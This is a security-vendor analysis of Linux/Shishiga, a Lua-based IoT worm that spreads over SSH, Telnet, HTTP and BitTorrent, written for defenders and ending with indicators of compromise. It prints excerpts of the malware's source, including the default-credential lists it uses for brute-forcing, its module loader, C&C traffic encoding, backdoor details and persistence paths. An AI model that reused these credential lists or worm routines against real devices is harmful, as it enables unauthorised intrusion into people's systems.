Linux Shishiga malware using LUA scripts

welivesecurity.com/2017/04/25/linux-shishiga-malware-using-lua-scripts/

April 25, 2017

The usage of the BitTorrent protocol and Lua modules separates Linux/Shishiga from other types of malware, according to analysis by ESET.

Among all the Linux samples that we receive every day, we noticed one sample detected only by Dr.Web – their detection name was Linux.LuaBot. We deemed this to be suspicious as our detection rates for the Luabot family have generally been high. Upon analysis, it turned out that this was, indeed, a bot written in Lua, but it represents a new family, and is not related to previously seen Luabot malware. Thus, we've given it a new name: Linux/Shishiga. It uses 4 different protocols (SSH – Telnet – HTTP – BitTorrent) and Lua scripts for modularity.

How to meet Shishiga?

Linux/Shishiga targets GNU/Linux systems. Its infection vector is a very common one: bruteforcing weak credentials based on a password list. It does this in a similar fashion to Linux/Moose with the added capability to bruteforce SSH credentials too. Here is the complete credentials list at the time of writing:

bftelnet.lua

```
1  [...]
2  local accounts={
3      {"admin","admin"},
4      {"root","root"},
5      {"adm","adm"},
6      {"acer","acer"},
7      {"user","user"},
8      {"security","security"}
9  }
10 [...]
```

bfssh.lua

```
1  [...]
2  local accounts={
3      {"admin","admin"},
4      {"root","root"},
5      {"adm","adm"},
6      {"ubnt","ubnt"},
7      {"root",""},
8      {"admin",""},
9      {"adm",""},
10     {"user","user"},
11     {"pi","pi"},
12 }
13
14 --[[
```

```
15      {"acer","acer"},
16      {"security","security"},
17      {"root","toor"},
18      {"root","roottoor"},
19      {"root","password"},
20
21
22      {"root","test"},
23      {"root","abc123"},
24      {"root","111111"},
25      {"root","1q2w3e"},
26      {"root","oracle"},
27      {"root","1q2w3e4r"},
28      {"root","123123"},
29      {"root","qwe123"},
30      {"root","p@ssw0rd"},
31
32      {"root","1"},
33      {"root","12"},
34      {"root","123"},
35      {"root","1234"},
36      {"root","12346"},
37      {"root","123467"},
38      {"root","1234678"},
39      {"root","12346789"},
40      {"root","123467890"},
41      {"root","qwerty"},
42      {"root","pass"},
```

```
43      {"root","toor"},
44      {"root","roottoor"},
45      {"root","password123"},
46      {"root","password123456"},
47      {"root","pass123"},
48      {"root","password"},
49      {"root","passw0rd"},
50      {"root","1qaz"},
51      {"root","1qaz2wsx"},
52      {"root","asdfgh"},
53
54      {"user","user"},
55      {"user",""},
56      {"acer","acer"},
57      {"security","security"},
58      {"root","passw0rds"},
59  ]]
60  [...]
```

We found several binaries of Linux/Shishiga for various architectures such as MIPS (both big- and little-endian), ARM (armv4l), i686, and also PowerPC. These are common for IoT devices. We think that other architectures like SPARC, SH-4 or m68k could be supported as we will explain later.

Shishiga's skills

Linux/Shishiga is a binary packed with UPX 3.91 (Ultimate Packer for Executables), but the UPX tool will have trouble unpacking these binaries because Shishiga adds data at the end of the packed file.

After unpacking, we see that it's statically linked with the Lua runtime library and stripped of all symbols.

```
$ file unpacked.i686.lm
unpacked.i686.lm: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux),
statically linked, stripped
```

Once executed, the binary will initialize the `malware` Lua module with the following methods:

Malware methods

```
malware_module_methods  dd offset aGetver       ; "getver"
                        dd offset getver
                        dd offset aGetos        ; "getos"
                        dd offset getos
                        dd offset aGetarch      ; "getarch"
                        dd offset getarch
                        dd offset aGetmacaddr   ; "getmacaddr"
                        dd offset getmacaddr
                        dd offset aGetmods      ; "getmods"
                        dd offset getmods
                        dd offset aSetargs      ; "setargs"
                        dd offset setargs
```

The `getmods` method will return the archive blob as we will explain later. Then hardcoded Lua code (`malware.lua`) is executed via the `luaL_loadstring` and `lua_pcall` functions. The Lua code is quite straightforward, but here is a quick walkthrough of the source code without any modifications on our part.

malware.lua

```
local unistd=require("posix.unistd")
require("malware")

function getexe()
```

```
5       local fn=unistd.readlink("/proc/self/exe")
6       if fn==nil and arg~=nil then
7           fn=arg[0] --symlink removed
8       end
9
10      if fn==nil then
11          print("couldn't find bot file")
12          return nil
13      end
14
15
16      local file=io.open(fn,"r")
17      if file==nil then
18          print("couldn't find bot file")
19          return nil
20      end
21      local data=file:read("*all")
22      file:close()
23      return data
24  end
25
26  function getMods()
27      return zlib.inflate()(malware.getmods())
28  end
29
30  function getScriptFiles(scripts)
31      local files={}
32      local i=1
```

```
33      while true do
34          local a1,b1,c1=string.find(scripts,'%-%-script%-begin%-%-([%w%.]+)%-%-',i)
35          if a1==nil then
36              break
37          end
38
39          local a2,b2,c2=string.find(scripts,'%-%-script%-end%-%-([%w%.]+)%-%-',i)
40
41          if a2==nil then
42              break
43          end
44
45          if c1~=c2 then
46              return nil
47          end
48
49          local src=string.sub(scripts,b1+1,a2-1)
50          i=b2+1
51          files[c1]=src
52      end
53      return files
54  end
55
56  malware.exe=getexe() 1
57  local modules=getScriptFiles(getMods()) 2
58
59  [...]
60
```

```
61  f=load(malware.modules['main.lua']) 3
62  local s,err=pcall(f)
63  if s==false then
64      print(err)
65  end
```

(1)	open the malware executable file from `/proc/self/exe` and return its content;
(2)	retrieve the zlib archive via `getmods` method, decompresses it, then parse it using tags and store it in a Lua's array;
(3)	call `main.lua` module;

There is an exhaustive list of all Lua scripts found in the IoCs section. Most of them have self-explanatory filenames, but here is a brief summary of some of them.

callhome.lua

- retrieve the configuration file `server.bt` or `servers` from `config.lua` ;
- if unable to reach the current default server, change to a different server;
- send files (reports or accounts, both JSON formatted);
- execute tasks from task list retrieved from the C&C server;

bfssh.lua / **bftelnet.lua**

- module to bruteforce SSH and Telnet logins;
- check if the command `echo -en "\\x31\\x33\\x33\\x37"` outputs `1337` ; if not, exit else continue;
- device architecture is determined from the `/bin/ls` file by running `cat /bin/ls` and parsing the ELF header, see below;
- spread the malware (both `.lm` and `.dm` files) according to the device architecture;
- save successful credentials;

The architecture checking code is as follows:

bfssh.lua, getArchELF method

```
1   function bfssh.getArchELF(text)
2   local bits,denc,ver,ftype,farch
3   if text==nil then
4   return nil
5   end
6
7   local i=text:find("\x7fELF") 1
8   if i~=nil then
9   bits,denc,ver=string.unpack("&lt;BBB",text:sub(i+4))
10  if denc==1 then
11  ftype,farch=string.unpack("&lt;HH",text:sub(i+16)) 2
12  else
13  ftype,farch=string.unpack("&gt;HH",text:sub(i+16))
14  end
15  end
16  return bits,denc,farch 3
17  end
```

(1) every ELF file has to start with `\x7fELF`

---

(2) `ftype` that represents `e_type` (ELF file type = executable, shared etc.) is not used

---

(3) `bits` represents `e_ident[EI_CLASS]` (32-bit or 64-bit), `denc` represents `e_ident[EI_DATA]` (little or big endian), and `farch` represents `e_machine` in the ELF header

bfssh.lua, getArchName method

```
1   function bfssh.getArchName(bits,denc,farch) 1
2
3           if farch==0x8 and denc==1 then 2
```

```
4               return "mipsel"
5       end
6
7       if farch==0x8 and denc==2 then
8               return "mips"
9       end
10
11      if farch==0x28 then
12              return "armv4l"
13      end
14
15      if farch==0x2 then
16              return "sparc"
17      end
18
19      if farch==0x2a then
20              return "sh4"
21      end
22
23      if farch==0x4 then
24              return "m68k"
25      end
26
27      if farch==0x14 then
28              return "powerpc"
29      end
30
31
```

```
32          if farch==0x3 or farch==0x7 or farch==0x3e then 3
33                  return "i686"
34          end
35
36          return nil
37  end
```

(1) `bits` is not used

(2) check if file is for MIPS little endian (`e_machine` == `EM_MIPS` and `e_ident[EI_DATA]` == `ELFDATA2LSB`)

(3) check if file is for Intel 80386 or Intel 80860 or AMD x86-64 (`e_machine` == `EM_386` or `e_machine` == `EM_860` or `e_machine` == `EM_X86_64`)

config.lua

- contains **publicKey** to verify the signature of the binary (.lm or .dm);
- contains bootstrap nodes list;
- contains filenames of .bt files, port numbers of SOCKS and HTTP server;
- contains IP address of the server (probably C&C server);

persist.lua

persistence method depending on the privilege (root or user)

scanner.lua

used to generate random /16 networks that are not local

worm.lua (this script was removed in the latest version of Linux/Shishiga)

- allows scanning on a given port;
- allows upload;
- gets information from the new infected server;

The `readme.lua` script has a message banner that grabs your attention, if you speak Russian:

```
1           ВСЁ ИДЁТ ПО ПЛАНУ
2
3  А при коммунизме всё будет заебись
4  Он наступит скоро — надо только подождать
5  Там всё будет бесплатно,там всё будет в кайф
6  Там наверное вощще не надо будет (умирать)
7  Я проснулся среди ночи и понял, что -
8
9           ВСЁ ИДЁТ ПО ПЛАНУ
```

This translates to:

```
1           EVERYTHING GOES ACCORDING TO PLAN
2
3  When we get communism it'll all be fucking great.
4  It will come soon, we just have to wait.
5  Everything will be free there, everything will be fun.
6  We'll probably not even have to die.
7  I woke up in the middle of the night and realized
8
9           EVERYTHING GOES ACCORDING TO PLAN
```

It seems that the malware author was inspired by E.Letov and his album `Everything goes according to plan` – see the last verse of the title song.

Over the past few weeks, we observed some minor changes like parts of some modules being rewritten, addition of testing modules, removal of redundant files, but nothing especially noteworthy.

While the main binary is named `<architecture>.lm`, we also managed to retrieve binaries with the following name `<architecture>.dm` – a simple backdoor that listens on `0.0.0.0` (all IPv4 addresses) port `2015`. One of the small changes was in the name of

this backdoor binary – it changed from `dl` to `dm`.

Shishiga communication

Linux/Shishiga can communicate using any of the modules `httpproto.lua`, `btloader.lua` or `server.lua`. The `httpproto.lua` module has functions that allow the given data to be encoded or decoded, and make HTTP POST and GET requests. The source code below shows the process of encoding data.

httpproto.lua

```
1  [...]
2  function httpproto.encode(data)
3      local msg=bencode.encode(data)
4      local c=zlib.crc32()(msg)
5      local k=string.pack("<I",utils.random())
6      return k..crypto.rc4(k,string.pack("<I",c)..msg)
7  end
8  [...]
```

`btloader.lua` uses the `torrent.lua` module (a wrapper for BitTorrent functions) to save or load nodes from the `nodes.cfg` file. It also retrieves its configuration data from `{server,update,script}.bt` files (in Bencode format) and uses the BitTorrent protocol to check for new versions of these files. `script.bt` allows the execution of a Lua script and `update.bt` allows executing the `.lm` binary. Below are examples of decoded .bt files shown as Python dictionaries.

script.bt

```
1  {
2      'sig': &lt;removed&gt;,1
3      'k': &lt;removed&gt;,2
4      'salt': 'script',
5      'seq': 1486885364,
6      'v': 'caba4dbe2f7add9371b94b97cf0d351b72449072,test.lua\n'
7  }
```

(1) signature

(2) public key

update.bt

```
1   {
2       'sig': &lt;removed&gt;,
3       'k': &lt;removed&gt;,
4       'salt': 'update',
5       'seq': 1486885364,
6       'v':
7           'bf4d9e25fc210a1d9809aebb03b30748dd588d08,mipsel.lm\n
8           8a0d58472f6166ade0ae677bab7940fe38d66d35,armv4l.lm\n
9           51a4ca78ebb0649721ae472290bea7bfe983d727,mips.lm\n
10          979fb376d6adc65473c4f51ad1cc36e3612a1e73,powerpc.lm\n
11          ce4b3c92a96137e6215a5e2f5fd28a672eddaaab,i686.lm\n'
12  }
```

server.bt

```
{
    'sig': &lt;removed&gt;,
    'k': &lt;removed,
    'salt': 'server',
    'seq': 1486835166,
    'v': '93.117.137.35:8080\n'
}
```

Finally, the `server.lua` module's main functionality is to create an HTTP server with the port defined in `config.lua`. In all samples we have analyzed so far, that is port 8888.

The server responds only to `/info` and `/upload` requests. Below is a (prettified) version of the server response to the `/info` path. All of the files below can be easily downloaded from the infected device.

```
{
    "src":[ 1
        "test.lua",
        "test1.lua",
        "test10.lua",
        "test2.lua",
        "test3.lua",
        "test5.lua",
        "test6.lua",
        "test_1.lua",
        "test_2.lua",
        "test_3.lua",
        "test_4.lua"
    ],

```

```
16      "dm":[ 2
17          "armv4l.dm",
18          "i686.dm",
19          "mips.dm",
20          "mipsel.dm"
21      ],
22
23      "bt":[ 3
24          "script.bt",
25          "server.bt",
26          "update.bt"
27      ],
28
29      "version":"1.0.0", 4
30
31      "lua":[ 5
32          "armv4l.lm",
33          "i686.lm",
34          "mips.lm",
35          "mipsel.lm",
36          "powerpc.lm"
37      ],
38
39      "os":"lin",
40      "arch":"i686",
41      "lua_version":"Lua 5.3"
42  }
```

(1)	Lua scripts
(2)	backdoor (old name: `.dl`)
(3)	BitTorrent scripts
(4)	malware version
(5)	modules loader

Querying the root `/` on port `8888` will result in `HTTP/1.0 404 OK`, which serves as a simple indicator of compromise (IoC).

http.lua response function

```
1  function http.response(req,code,data,timeout)
2      timeout=timeout or timeoutDef
3      local hdr="HTTP/1.0 %d OK\r\nContent-Length: %d\r\nConnection: close\r\n\r\n"
4      async.sendall(req.sock,hdr:format(code,data:len())..data,timeout)
5      return true
6  end
```

At this point in our investigation, we asked the Censys team to do a mass scan of the Internet on TCP port 8888. They found about 10 IP addresses that match this particular HTTP answer. These IP addresses are potentially infected machines.

Conclusion

At a first glance, Linux/Shishiga might appear to be like the others, spreading through weak Telnet and SSH credentials, but the usage of the BitTorrent protocol and Lua modules separates it from the herd. BitTorrent used in a Mirai-inspired worm, Hajime, was observed last year and we can only speculate that it might become more popular in the future.

It's possible that Shishiga could still evolve and become more widespread but the low number of victims, constant adding, removing, and modifying of the components, code comments and even debug information, clearly indicate that it's a work in progress. To prevent your devices from being infected by Shishiga and similar worms, you should not use default Telnet and SSH credentials.

We would like to thank the Censys team for their collaboration.

IoCs

C&C

93.117.137.35

SHA-1 hashes (.lm)

1 003f548796fb52ad281ae82c7e0bb7532dd34241

2 1a79092c6468d39a10f805c96ad7f8bf303b7dc8

3 1cc1b97f8f9bb7c4f435ef1316e08e5331b4331b

4 2889803777e2dfec7684512f45e87248a07d508f

5 2a809d37be5aa0655f5cc997eb62683e1b45da17

6 3f1ef05ca850e2f5030ee279b1c589c9e3cc576c

7 41bf0d5612ba5bc9a05e9d94df0f841b159264a0

8 4bc106f6231daa6641783dd9276b4f5c7fc41589

9 4d55efe18643d7408cbe12dd4f319a68084bd11e

10 4df58ab26f0fc8ec2d1513611ca2b852e7107096

11 51a4ca78ebb0649721ae472290bea7bfe983d727

12 5a88b67d8dfaf1f68308311b808f00e769e39e46

13 6458c48e5167a2371d9243d4b47ad191d642685b

14 688ccbca8b2918a161917031e21b6810c59eeab0

15 6e3ba86d1f91669e87945b8ea0211b58e315e189

16 6f41c8f797814e2e3f073601ce81e8adceef6a27

17 8a0d58472f6166ade0ae677bab7940fe38d66d35

18 8a1f9212f181e68a63e06a955e64d333b78c6bf6

19 8e3c4eb04d4cfd8f44c721111c5251d30ac848b6

20 979fb376d6adc65473c4f51ad1cc36e3612a1e73

21 a1f2535576116d93b62d7f5fc6e30e66e0e0a216

22 a694c6ecc2ff9702905f22b14ed448e9e76fe531

23 ac094b239851eaf2e9fd309285c0996fb33771a8

24 b14f7af9665ef77af530109a0331f8ca0bd2a167

25 b86935c4539901cdec9081d8a8ca915903adaff1

26 ba5df105496b0c4df7206d29fa544b7a7a346735

27 bf4d9e25fc210a1d9809aebb03b30748dd588d08

28 c22f0fb01c6d47957732a8b0f5ef0f7d4e614c79

29 ce4b3c92a96137e6215a5e2f5fd28a672eddaaab

30 d8a5d9c4605b33bd47fedbad5a0da9928de6aa33

31 f73022a4801e06d675e5c3011060242af7b949ad

SHA-1 hashes (.dl)

1 274181d2f9c6b8f0e217db23f1d39aa94c161d6e

2 8abbb049bffd679686323160ca4b6a86184550a1

3 95444c2ccc5fff19145d60f1e817fd682cabe0cd

4 9cde845852653339f67667c2408126f02f246949

Lua’s scripts filename

1 async.lua

2 async.lua.old

3 bencode.lua

4 bfssh.lua

5 bfssh.lua.old2

6 bftelnet.lua

7 btloader.lua

8 callhome.lua

9 callhome.lua.old

10 config.lua

11 crypto.lua

12 dht.lua

13 event.lua
14 evs.lua
15 http.lua
16 httpproto.lua
17 libevent2.lua
18 luaevent.lua
19 main.lua
20 main2.lua
21 malware.lua
22 persist.lua
23 readme.lua
24 routing.lua
25 scanner.lua
26 scanner2.lua
27 server.lua
28 socket.lua
29 socks.lua
30 ssh.lua
31 ssl.lua
32 telnet.lua
33 test.lua
34 test1.lua
35 test10.lua
36 test2.lua
37 test3.lua
38 test5.lua
39 test6.lua
40 threads.lua

41 torrent.lua

42 udp.lua

43 utils.lua

44 worm.lua

Files that could potentially indicate an infection

```
1  /tmp/.local/*
2  /tmp/drop
3  /tmp/srv
4  $HOME/.local/ssh.txt
5  $HOME/.local/telnet.txt
6  $HOME/.local/nodes.cfg
7  $HOME/.local/check
8  $HOME/.local/script.bt
9  $HOME/.local/update.bt
10 $HOME/.local/server.bt
11 $HOME/.local/syslog
12 $HOME/.local/syslog.pid
13 $HOME/.local/{armv4l,i686,mips,mipsel}.dm
14 $HOME/.local/{armv4l,i686,mips,mipsel,powerpc}.lm
15
16 /etc/rc2.d/S04syslogd
17 /etc/rc3.d/S04syslogd
18 /etc/rc4.d/S04syslogd
19 /etc/rc5.d/S04syslogd
20 /etc/init.d/syslogd
21 /bin/syslogd
22 /etc/cron.hourly/syslogd
```

25 Apr 2017 - 03:00PM

Sign up to receive an email update whenever a new article is published in our Ukraine Crisis – Digital Security Resource Center

Newsletter

Discussion